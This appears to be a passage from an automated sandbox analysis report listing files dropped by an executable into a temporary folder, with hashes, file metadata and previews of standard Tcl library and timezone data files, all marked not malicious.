Preview:	# Tcl package index file, version 1.1.# This file is generated by the "pkg_mkIndex -direct" command.# and sourced either when an application starts up or.# by a "package unknown" script. It invokes the.# "package ifneeded" command to set up package-related.# information so that packages will be loaded automatically.# in response to "package require" commands. When this.# script is sourced, the variable $dir must contain the.# full path name of this file's directory...if {![package vsatisfies [package provide Tcl] 8.2]} {return}.package ifneeded opt 0.4.5 [list source [file join $dir optparse.tcl]].

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\package.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	23329
Entropy (8bit):	4.8430523159994205
Encrypted:	false
SSDEEP:	384:x2QmduMPBx2aSzv6yMiowFex3YfwTfBcDVL/xuIBCDVL3xvyYY0:x2QmMaBDqv6bFwcofKfB+FpNBAF3xbY0
MD5:	188816EEE800FB29E25E1265EAE8A612
SHA1:	87F7CDE689E412AC27B920620885D27F4F13EB94
SHA-256:	BE3DF25F0CF653C20B69784AEE0FD719634D5421746B5B1141BC0592A59841C9
SHA-512:	8E34A753052D43CFE8D26AEF61D3B549FAC06A7B21A6A9852D9D91BB5E92E470FFEEAB81DA44DD173377F146550A6A3F07CFDDC5A00FB1E17A374980C0C58E04
Malicious:	false
Reputation:	unknown
Preview:	# package.tcl --.#.# utility procs formerly in init.tcl which can be loaded on demand.# for package management..#.# Copyright (c) 1991-1993 The Regents of the University of California..# Copyright (c) 1994-1998 Sun Microsystems, Inc..#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES..#..namespace eval tcl::Pkg {}..# ::tcl::Pkg::CompareExtension --.#.# Used internally by pkg_mkIndex to compare the extension of a file to.# a given extension. On Windows, it uses a case-insensitive comparison.# because the file system can be file insensitive..#.# Arguments:.# fileName.name of a file whose extension is compared.# ext..(optional) The extension to compare against; you must.#..provide the starting dot..#..Defaults to [info sharedlibextension].#.# Results:.# Returns 1 if the extension matches, 0 otherwise..proc tcl::Pkg::CompareExtension { fileName {ext {}} } {. global tcl_platform. if {$ext eq ""} {se

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\parray.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	816
Entropy (8bit):	4.833285375693491
Encrypted:	false
SSDEEP:	12:TcS2n1RBbgZKaNHaeYFSxYmXqt9IGUafZwXgEImK7k35IpbdELS8/McjbPgnE:TcHn5sZKGkwa/JxfJmRGNc93j7CE
MD5:	FCDAF75995F2CCE0A5D5943E9585590D
SHA1:	A0B1BD4E68DCE1768D3C5E0D3C7B31E28021D3BA
SHA-256:	EBE5A2B4CBBCD7FD3F7A6F76D68D7856301DB01B350C040942A7B806A46E0014
SHA-512:	A632D0169EE3B6E6B7EF73F5FBA4B7897F9491BDB389D78165E297252424546EFB43895D3DD530864B9FCF2ECF5BCE7DA8E55BA5B4F20E23E1E45ADDAF941C11
Malicious:	false
Reputation:	unknown
Preview:	# parray:.# Print the contents of a global array on stdout..#.# Copyright (c) 1991-1993 The Regents of the University of California..# Copyright (c) 1994 Sun Microsystems, Inc..#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES..#..proc parray {a {pattern }} {. upvar 1 $a array. if {![array exists array]} {..return -code error "\"$a\" isn't an array". }. set maxl 0. set names [lsort [array names array $pattern]]. foreach name $names {..if {[string length $name] > $maxl} {.. set maxl [string length $name]..}. }. set maxl [expr {$maxl + [string length $a] + 2}]. foreach name $names {..set nameString [format %s(%s) $a $name]..puts stdout [format "%-s = %s" $maxl $nameString $array($name)]. }.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\safe.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	Tcl script, ASCII text
Category:	dropped
Size (bytes):	33155
Entropy (8bit):	4.751913624674884
Encrypted:	false
SSDEEP:	768:OovFcXhzYqZ1//L2JXYO77xvnthi10QEnoIHd2/MFGQjmRCzY3ZKIYkA:OovFc6qZF2JXYO7prC0VnoIHokFG7Czz
MD5:	1005275AC7D1789ADCA0EBAE810938D0
SHA1:	6833A580EE06A6D1C26D48B3B9C1A7DF21E54B67
SHA-256:	953BC6CBF03A7FF492DE59828C6D31A12D80B45873D85C03CB62A6099FED976C
SHA-512:	40B37A2D4CBBA5D39D021CD7F74A5B6EAE6BDCB5A67CEC37A33EE179A006889DC28410D50075B49B2EDF898A30651C1DDC9898111E8ACA88F6B4B3D1D97276FB
Malicious:	false
Reputation:	unknown
Preview:	# safe.tcl --.#.# This file provide a safe loading/sourcing mechanism for safe interpreters..# It implements a virtual path mecanism to hide the real pathnames from the.# slave. It runs in a master interpreter and sets up data structure and.# aliases that will be invoked when used from a slave interpreter..#.# See the safe.n man page for details..#.# Copyright (c) 1996-1997 Sun Microsystems, Inc..#.# See the file "license.terms" for information on usage and redistribution of.# this file, and for a DISCLAIMER OF ALL WARRANTIES...#.# The implementation is based on namespaces. These naming conventions are.# followed:.# Private procs starts with uppercase..# Public procs are exported and starts with lowercase.#..# Needed utilities package.package require opt 0.4.1..# Create the safe namespace.namespace eval ::safe {. # Exported API:. namespace export interpCreate interpInit interpConfigure interpDelete \..interpAddToAccessPath interpFindInAccessPath setLogCmd.}..# Helper function to

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tclIndex

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6379
Entropy (8bit):	4.688241504356218
Encrypted:	false
SSDEEP:	192:edtEACkiwM3g4ePOiD15Q0AkU6PkrBkGUjZKspDzmK5SMFT3ssAilsMW03abjyRQ:edtEACkiwM3g4ePOiD15Q0AkU6PkrBkm
MD5:	1297B6CF6B7B195F3590C69CEA7207B9
SHA1:	1D25630A54DE056B7075BD04F3C934677032D5F6
SHA-256:	D652AC15F4A17285F9E48BAF62A02C3DF13FA40645A3BEBE1A00695FA3793632
SHA-512:	E351EBA1C68CFB2E3B894E4BA77C9482927EF354DEC785924529CC3AC5272630A944D09975B87055FDB76B2C4228A9CF2BE50FECC54975E61F06D9F28D3EB540
Malicious:	false
Reputation:	unknown
Preview:	# Tcl autoload index file, version 2.0.# This file is generated by the "auto_mkindex" command.# and sourced to set up indexing information for one or.# more commands. Typically each line is a command that.# sets an element in the auto_index array, where the.# element name is the name of a command and the value is.# a script that loads the command...set auto_index(auto_reset) [list source [file join $dir auto.tcl]].set auto_index(tcl_findLibrary) [list source [file join $dir auto.tcl]].set auto_index(auto_mkindex) [list source [file join $dir auto.tcl]].set auto_index(auto_mkindex_old) [list source [file join $dir auto.tcl]].set auto_index(::auto_mkindex_parser::init) [list source [file join $dir auto.tcl]].set auto_index(::auto_mkindex_parser::cleanup) [list source [file join $dir auto.tcl]].set auto_index(::auto_mkindex_parser::mkindex) [list source [file join $dir auto.tcl]].set auto_index(::auto_mkindex_parser::hook) [list source [file join $dir auto.tcl]].set auto_index(::auto_mki

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tm.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	11739
Entropy (8bit):	4.696987328866101
Encrypted:	false
SSDEEP:	192:oZ2gDZFpvXkM3SR1tco5h93ocy8G69hyjWDX5W6TV9TCBeZ4idLK3mQEuPPt4QV6:yxvXt3SR1r5bYcy8GahJJTV92idL4CuS
MD5:	A0F391D573004CDF9BC5874D416D6684
SHA1:	5BBBA028E308FF2F45DA7F027C730A3786929172
SHA-256:	5D86054B2CE7ECB7AD39A6A2EE7AFC98816A837E9819CE7B7C31C19BA0B123CF
SHA-512:	2EA137BE359D80BA3BB124CE9893BC00328DED80BD7E6F30AF087D2402D42A139ED9A3BBBB5AEEFA56F624C89C8E69A8CB389B7CF82EEEC8DB678000A44F1366
Malicious:	false
Reputation:	unknown
Preview:	# -- tcl --.#.# Searching for Tcl Modules. Defines a procedure, declares it as the.# primary command for finding packages, however also uses the former.# 'package unknown' command as a fallback..#.# Locates all possible packages in a directory via a less restricted.# glob. The targeted directory is derived from the name of the.# requested package. I.e. the TM scan will look only at directories.# which can contain the requested package. It will register all.# packages it found in the directory so that future requests have a.# higher chance of being fulfilled by the ifneeded database without.# having to come to us again..#.# We do not remember where we have been and simply rescan targeted.# directories when invoked again. The reasoning is this:.#.# - The only way we get back to the same directory is if someone is.# trying to [package require] something that wasn't there on the.# first scan..#.# Either.# 1) It is there now: If we rescan, you get it; if not you don't..#.# T

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Abidjan

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	141
Entropy (8bit):	4.951583909886815
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFx52DcsG/kXGm2OHnFvpsYvUdSalHFLd:SlSWB9X52DBGTm2OHnFvmYValHf
MD5:	6FB79707FD3A183F8A3C780CA2669D27
SHA1:	E703AB552B4231827ACD7872364C36C70988E4C0
SHA-256:	A5DC7BFB4F569361D438C8CF13A146CC2641A1A884ACF905BB51DA28FF29A900
SHA-512:	CDD3AD9AFFD246F4DFC40C1699E368FB2924E73928060B1178D298DCDB11DBD0E88BC10ED2FED265F7F7271AC5CCE14A60D65205084E9249154B8D54C2309E52
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Africa/Abidjan) {. {-9223372036854775808 -968 0 LMT}. {-1830383032 0 0 GMT}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Accra

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1416
Entropy (8bit):	3.9989157635712558
Encrypted:	false
SSDEEP:	12:MBp52DUsmdHvLp/7dCjFAEubMqANKSmq3IKVun+r+Z+pU4C4Yugk:cQ9ejp/7dC2EubMqANKSm6zVWvc64Cg
MD5:	603D2449143A70B7022D88AD19F13773
SHA1:	5E57B03710E8DC344ED2F580BEA6A911A222F4CF
SHA-256:	69797096554F2C99FFD11E402727659869BDD4E39AD5C0E900358ECCFA723791
SHA-512:	11F220B07C0E75914EC1059148033324360E3A59BB08A630CF62437D7ADFA66AE08487F79D576F6E0DD4434FBE8C518A5C093D173287433E4A406439C0D38582
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Africa/Accra) {. {-9223372036854775808 -52 0 LMT}. {-1640995148 0 0 GMT}. {-1556841600 1200 1 GHST}. {-1546388400 0 0 GMT}. {-1525305600 1200 1 GHST}. {-1514852400 0 0 GMT}. {-1493769600 1200 1 GHST}. {-1483316400 0 0 GMT}. {-1462233600 1200 1 GHST}. {-1451780400 0 0 GMT}. {-1430611200 1200 1 GHST}. {-1420158000 0 0 GMT}. {-1399075200 1200 1 GHST}. {-1388622000 0 0 GMT}. {-1367539200 1200 1 GHST}. {-1357086000 0 0 GMT}. {-1336003200 1200 1 GHST}. {-1325550000 0 0 GMT}. {-1304380800 1200 1 GHST}. {-1293927600 0 0 GMT}. {-1272844800 1200 1 GHST}. {-1262391600 0 0 GMT}. {-1241308800 1200 1 GHST}. {-1230855600 0 0 GMT}. {-1209772800 1200 1 GHST}. {-1199319600 0 0 GMT}. {-1178150400 1200 1 GHST}. {-1167697200 0 0 GMT}. {-1146614400 1200 1 GHST}. {-1136161200 0 0 GMT}. {-1115078400 1200 1 GHST}. {-1104625200 0 0 GMT}. {-1083542400 1200 1

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Addis_Ababa

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	184
Entropy (8bit):	4.766991307890532
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqsVVMMvwVAIgNGExVMSt2DczqIVDcVVMMv:SlSWB9IZaM3y7VcVAIgNTxL2DnaDkr
MD5:	C203A97FC500E408AC841A6A5B21E14E
SHA1:	ED4C4AA578A16EB83220F37199460BFE207D2B44
SHA-256:	3EBC66964609493524809AD0A730FFFF036C38D9AB3770412841F80DFFC717D5
SHA-512:	2F1A4500F49AFD013BCA70089B1E24748D7E45D41F2C9D3D9AFDCC1778E750FFB020D34F622B071E80F80CC0FEFF080E8ACC1E7A8ABE8AD12C0F1A1DAA937FE5
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Africa/Nairobi)]} {. LoadTimeZoneFile Africa/Nairobi.}.set TZData(:Africa/Addis_Ababa) $TZData(:Africa/Nairobi).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Algiers

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1041
Entropy (8bit):	4.110061823095588
Encrypted:	false
SSDEEP:	12:MBp52D7AmdHh5PMybVSqSFvvqXFaLSaSxmvWo/fmvCkQ6eW6Xs8QQB1r5Q:cQIefMyb8BF6XFaLSxktf1PW6X4q1K
MD5:	8221A83520B1D3DE02E886CFB1948DE3
SHA1:	0806A0898FDE6F5AE502C64515A1345D71B1F7D2
SHA-256:	5EE3B25676E813D89ED866D03B5C3388567D8307A2A60D1C4A34D938CBADF710
SHA-512:	2B8A837F7CF6DE43DF4072BF4A54226235DA8B8CA78EF55649C7BF133B2E002C614FE7C693004E3B17C25FBCECAAD5CD9B0A8CB0A5D32ADF68EA019203EE8704
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Africa/Algiers) {. {-9223372036854775808 732 0 LMT}. {-2486679072 561 0 PMT}. {-1855958961 0 0 WET}. {-1689814800 3600 1 WEST}. {-1680397200 0 0 WET}. {-1665363600 3600 1 WEST}. {-1648342800 0 0 WET}. {-1635123600 3600 1 WEST}. {-1616893200 0 0 WET}. {-1604278800 3600 1 WEST}. {-1585443600 0 0 WET}. {-1574038800 3600 1 WEST}. {-1552266000 0 0 WET}. {-1539997200 3600 1 WEST}. {-1531443600 0 0 WET}. {-956365200 3600 1 WEST}. {-950486400 0 0 WET}. {-942012000 3600 0 CET}. {-812502000 7200 1 CEST}. {-796262400 3600 0 CET}. {-781052400 7200 1 CEST}. {-766630800 3600 0 CET}. {-733280400 0 0 WET}. {-439430400 3600 0 CET}. {-212029200 0 0 WET}. {41468400 3600 1 WEST}. {54774000 0 0 WET}. {231724800 3600 1 WEST}. {246240000 3600 0 CET}. {259545600 7200 1 CEST}. {275274000 3600 0 CET}. {309740400 0 0 WET}. {325468800 3600 1 WEST}. {3418020

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Asmara

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	179
Entropy (8bit):	4.750118730136804
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqsVVMMvwVAIgNGExVMSt2DcjEUEH+DcVVMMv:SlSWB9IZaM3y7VcVAIgNTxL2DGs+Dkr
MD5:	F8CEC826666174899C038EC9869576ED
SHA1:	4CAA32BB070F31BE919F5A03141711DB22072E2C
SHA-256:	D9C940B3BE2F9E424BC6F69D665C21FBCA7F33789E1FE1D27312C0B38B75E097
SHA-512:	DA890F5A6806AE6774CFC061DFD4AE069F78212AB063287146245692383022AABB3637DEB49C1D512DA3499DC4295541962DAC05729302B3314E7BF306E6CB41
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Africa/Nairobi)]} {. LoadTimeZoneFile Africa/Nairobi.}.set TZData(:Africa/Asmara) $TZData(:Africa/Nairobi).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Asmera

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	179
Entropy (8bit):	4.755468133981916
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqsVVMMvwVAIgNGExVMSt2DcjAWDcVVMMv:SlSWB9IZaM3y7VcVAIgNTxL2D8Dkr
MD5:	8B5DCBBDB2309381EAA8488E1551655F
SHA1:	65065868620113F759C5D37B89843A334E64D210
SHA-256:	F7C8CEE9FA2A4BF9F41ABA18010236AC4CCD914ACCA9E568C87EDA0503D54014
SHA-512:	B8E61E6D5057CD75D178B292CD19CBCED2A127099D95046A7448438BCC035DE4066FDD637E9055AC3914E4A8EAA1B0123FA0E90E4F7042B2C4551BB009F1D2E9
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Africa/Nairobi)]} {. LoadTimeZoneFile Africa/Nairobi.}.set TZData(:Africa/Asmera) $TZData(:Africa/Nairobi).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Bamako

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	179
Entropy (8bit):	4.83500517532947
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqss1kvFVAIgNGE4Rvt2DcxAQDcsP:SlSWB9IZaM3y7sYFVAIgNT4tt2DwNDBP
MD5:	FCBE668127DFD81CB0F730C878EB2F1A
SHA1:	F27C9D96A04A12AC7423A60A756732B360D6847D
SHA-256:	6F462C2C5E190EFCA68E882CD61D5F3A8EF4890761376F22E9905B1B1B6FDE9F
SHA-512:	B0E6E4F5B46A84C2D02A0519831B98F336AA79079FF2CB9F290D782335FB4FB39A3453520424ED3761D801B9FBE39228B1D045C40EDD70B29801C26592F9805A
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Africa/Abidjan)]} {. LoadTimeZoneFile Africa/Abidjan.}.set TZData(:Africa/Bamako) $TZData(:Africa/Abidjan).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Bangui

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	173
Entropy (8bit):	4.834042129935993
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqsGe4FVAIgNGESIRL2Dcx2m/2DcGev:SlSWB9IZaM3y7V4FVAIgNT9L2Dw/2D4v
MD5:	7A017656AB8048BD67250207CA265717
SHA1:	F2BB86BC7B7AB886738A33ADA37C444D6873DB94
SHA-256:	E31F69E16450B91D79798C1064FEA18DE89D5FE343D2DE4A5190BCF15225E69D
SHA-512:	695FA7369341F1F4BC1B629CDAB1666BEFE2E7DB32D75E5038DC17526A3CCE293DB36AFEB0955B06F5834D43AEF140F7A66EC52598444DBE8C8B70429DBE5FC5
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Africa/Lagos)]} {. LoadTimeZoneFile Africa/Lagos.}.set TZData(:Africa/Bangui) $TZData(:Africa/Lagos).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Banjul

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	179
Entropy (8bit):	4.839691887198201
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqss1kvFVAIgNGE4Rvt2Dcx79FHp4DcsP:SlSWB9IZaM3y7sYFVAIgNT4tt2Dw7J4V
MD5:	149DD4375235B088386A2D187ED03FFB
SHA1:	5E879B778E2AB110AC7815D3D62A607A76AAB93B
SHA-256:	1769E15721DAFF477E655FF7A8491F4954FB2F71496287C6F9ED265FE5588E00
SHA-512:	4F997EDE6F04A89240E0950D605BB43D6814DCCA433F3A75F330FA13EE8729A10D20E9A0AAD6E6912370E350ABD5A65B878B914FCC9A5CA8503E3A5485E57B3E
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Africa/Abidjan)]} {. LoadTimeZoneFile Africa/Abidjan.}.set TZData(:Africa/Banjul) $TZData(:Africa/Abidjan).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Bissau

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	169
Entropy (8bit):	4.8519768909236465
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFx52Dc5ixXGm2OHGVkevUdSaTyWTvYvF6hSVPVFd:SlSWB9X52D4fm2OHCkeVaTyUvGMmh
MD5:	B18C38C5FC4325ABB5A3B846AD09F1FC
SHA1:	71FDEC65F3A86BFC84DC479E68E5057C798B8C68
SHA-256:	C9ABB094A76FAFCA2803B76FA8ACC97AE92FF853E6476A4F3222A8AEC140C0B5
SHA-512:	8E7166443A6285416B207E5042551510704FD6611DDCBA77F3B2EBA8DB1C78138FC5A647238130006ECB80072D5694D531EC24115C76CFDE2F2B5FC5C04999E0
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Africa/Bissau) {. {-9223372036854775808 -3740 0 LMT}. {-1830380260 -3600 0 WAT}. {157770000 0 0 GMT}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Blantyre

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	178
Entropy (8bit):	4.856245693637169
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqsfKGyVAIgNGEjKKW62Dc8ycXp75h4DcfKu:SlSWB9IZaM3y7fYVAIgNTj5W62DAmp1T
MD5:	3F6E187410D0109D05410EFC727FB5E5
SHA1:	CAB54D985823218E01EDF9165CABAB7A984EE93E
SHA-256:	9B2EEB0EF36F851349E254E1745D11B65CB30A16A2EE4A87004765688A5E0452
SHA-512:	E12D6DBEA8DE9E3FB236011B962FFE1AEB95E3353B13303C343565B60AA664508D51A011C66C3CE2460C52A901495F46D0500C9B74E19399AE66231E5D6200A0
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Africa/Maputo)]} {. LoadTimeZoneFile Africa/Maputo.}.set TZData(:Africa/Blantyre) $TZData(:Africa/Maputo).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Brazzaville

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	178
Entropy (8bit):	4.853052123353996
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqsGe4FVAIgNGESIRL2DciE0TMJZp4DcGev:SlSWB9IZaM3y7V4FVAIgNT9L2D4qGp4e
MD5:	4F5159996C16A171D9B011C79FDDBF63
SHA1:	51BCA6487762E42528C845CCA33173B3ED707B3F
SHA-256:	E73ADC4283ECA7D8504ABC6CB28D98EB071ED867F77DE9FADA777181533AD1D0
SHA-512:	6E5D4DF903968395DFDB834FBD4B2A0294E945A9939D05BED8533674EA0ACE8393731DDCDFACF7F2C9A00D38DC8F5EDB173B4025CF05122B0927829D07ED203F
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Africa/Lagos)]} {. LoadTimeZoneFile Africa/Lagos.}.set TZData(:Africa/Brazzaville) $TZData(:Africa/Lagos).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Bujumbura

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	179
Entropy (8bit):	4.900915013374923
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqsfKGyVAIgNGEjKKW62DclbDcfKu:SlSWB9IZaM3y7fYVAIgNTj5W62DkbDE/
MD5:	9E81B383C593422481B5066CF23B8CE1
SHA1:	8DD0408272CBE6DF1D5051CB4D9319B5A1BD770E
SHA-256:	9ADCD7CB6309049979ABF8D128C1D1BA35A02F405DB8DA8C39D474E8FA675E38
SHA-512:	9939ED703EC26350DE9CC59BF7A8C76B6B3FE3C67E47CCDDE86D87870711224ADEEC61D93AC7926905351B8333AD01FF235276A5AB766474B5884F8A0329C2CB
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Africa/Maputo)]} {. LoadTimeZoneFile Africa/Maputo.}.set TZData(:Africa/Bujumbura) $TZData(:Africa/Maputo).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Cairo

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3720
Entropy (8bit):	3.687670811431724
Encrypted:	false
SSDEEP:	48:5hRg1oCSY0WF6yU0yWZVYbZ0F0ZeTvc0jDlSBFX84aKqITVuV09ONWHr0L0335Kw:Fu0oVy0FUeLIvQV8c0OvOakCUUO
MD5:	1B38D083FC54E17D82935D400051F571
SHA1:	AE34C08176094F4C4BFEB4E1BBAE6034BCD03A11
SHA-256:	11283B69DE0D02EAB1ECF78392E3A4B32288CCFEF946F0432EC83327A51AEDDC
SHA-512:	581161079EC0F77EEB119C96879FD586AE49997BAD2C5124C360BCACF9136FF0A6AD70AE7D4C88F96BC94EEB87F628E8890E65DB9B0C96017659058D35436307
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Africa/Cairo) {. {-9223372036854775808 7509 0 LMT}. {-2185409109 7200 0 EET}. {-929844000 10800 1 EEST}. {-923108400 7200 0 EET}. {-906170400 10800 1 EEST}. {-892868400 7200 0 EET}. {-875844000 10800 1 EEST}. {-857790000 7200 0 EET}. {-844308000 10800 1 EEST}. {-825822000 7200 0 EET}. {-812685600 10800 1 EEST}. {-794199600 7200 0 EET}. {-779853600 10800 1 EEST}. {-762663600 7200 0 EET}. {-399088800 10800 1 EEST}. {-386650800 7200 0 EET}. {-368330400 10800 1 EEST}. {-355114800 7200 0 EET}. {-336790800 10800 1 EEST}. {-323654400 7200 0 EET}. {-305168400 10800 1 EEST}. {-292032000 7200 0 EET}. {-273632400 10800 1 EEST}. {-260496000 7200 0 EET}. {-242096400 10800 1 EEST}. {-228960000 7200 0 EET}. {-210560400 10800 1 EEST}. {-197424000 7200 0 EET}. {-178938000 10800 1 EEST}. {-165801600 7200 0 EET}. {-147402000 10800 1 EEST}. {-134265600 72

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Casablanca

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6176
Entropy (8bit):	3.728783348029229
Encrypted:	false
SSDEEP:	96:bmu1RZIlkCx4aWvYzCcgwUjdnPb9gNIBhZtwIuZN38BFvxt3V8byvSl3byEHP:FPZtYzCcgwUjdPBhZuY1xP8P
MD5:	AB80221016CDC1B1F3E329519FCF2A7B
SHA1:	8E9233BD96148E60A2AB98E90FFFC3808D0C60FE
SHA-256:	42F29170C6E4E471C3B14C7B56CB750CCDEB5E23E6A2B3B17A49BB661E173CF5
SHA-512:	37C4DECF5E7218954DB98A28BD119A1D6C529670E993CF79FB6E849B4C13189E91F50F9828FA4C921B55655FD9F6A911A6C84D47786EE15BEA6992F10491DBFB
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Africa/Casablanca) {. {-9223372036854775808 -1820 0 LMT}. {-1773012580 0 0 WET}. {-956361600 3600 1 WEST}. {-950490000 0 0 WET}. {-942019200 3600 1 WEST}. {-761187600 0 0 WET}. {-617241600 3600 1 WEST}. {-605149200 0 0 WET}. {-81432000 3600 1 WEST}. {-71110800 0 0 WET}. {141264000 3600 1 WEST}. {147222000 0 0 WET}. {199756800 3600 1 WEST}. {207702000 0 0 WET}. {231292800 3600 1 WEST}. {244249200 0 0 WET}. {265507200 3600 1 WEST}. {271033200 0 0 WET}. {448243200 3600 0 CET}. {504918000 0 0 WET}. {1212278400 3600 1 WEST}. {1220223600 0 0 WET}. {1243814400 3600 1 WEST}. {1250809200 0 0 WET}. {1272758400 3600 1 WEST}. {1281222000 0 0 WET}. {1301788800 3600 1 WEST}. {1312066800 0 0 WET}. {1335664800 3600 1 WEST}. {1342749600 0 0 WET}. {1345428000 3600 1 WEST}. {1348970400 0 0 WET}. {1367114400 3600 1 WEST}. {1373162400 0 0 WET}. {1

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Ceuta

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7253
Entropy (8bit):	3.743963604901828
Encrypted:	false
SSDEEP:	96:/D87tz1URbjOP9/V+H4Mnb4Nkrloy4xBqffZRgKs0AzxAHTdIVaAq0VZQltUbAyo:/AziRNH4Mn82rlo6XIZ9ALeBO
MD5:	96071CE96EF6D15B4C9A77791843F4AB
SHA1:	0F648B077DF21BF09493547F12701C3DF55DA19E
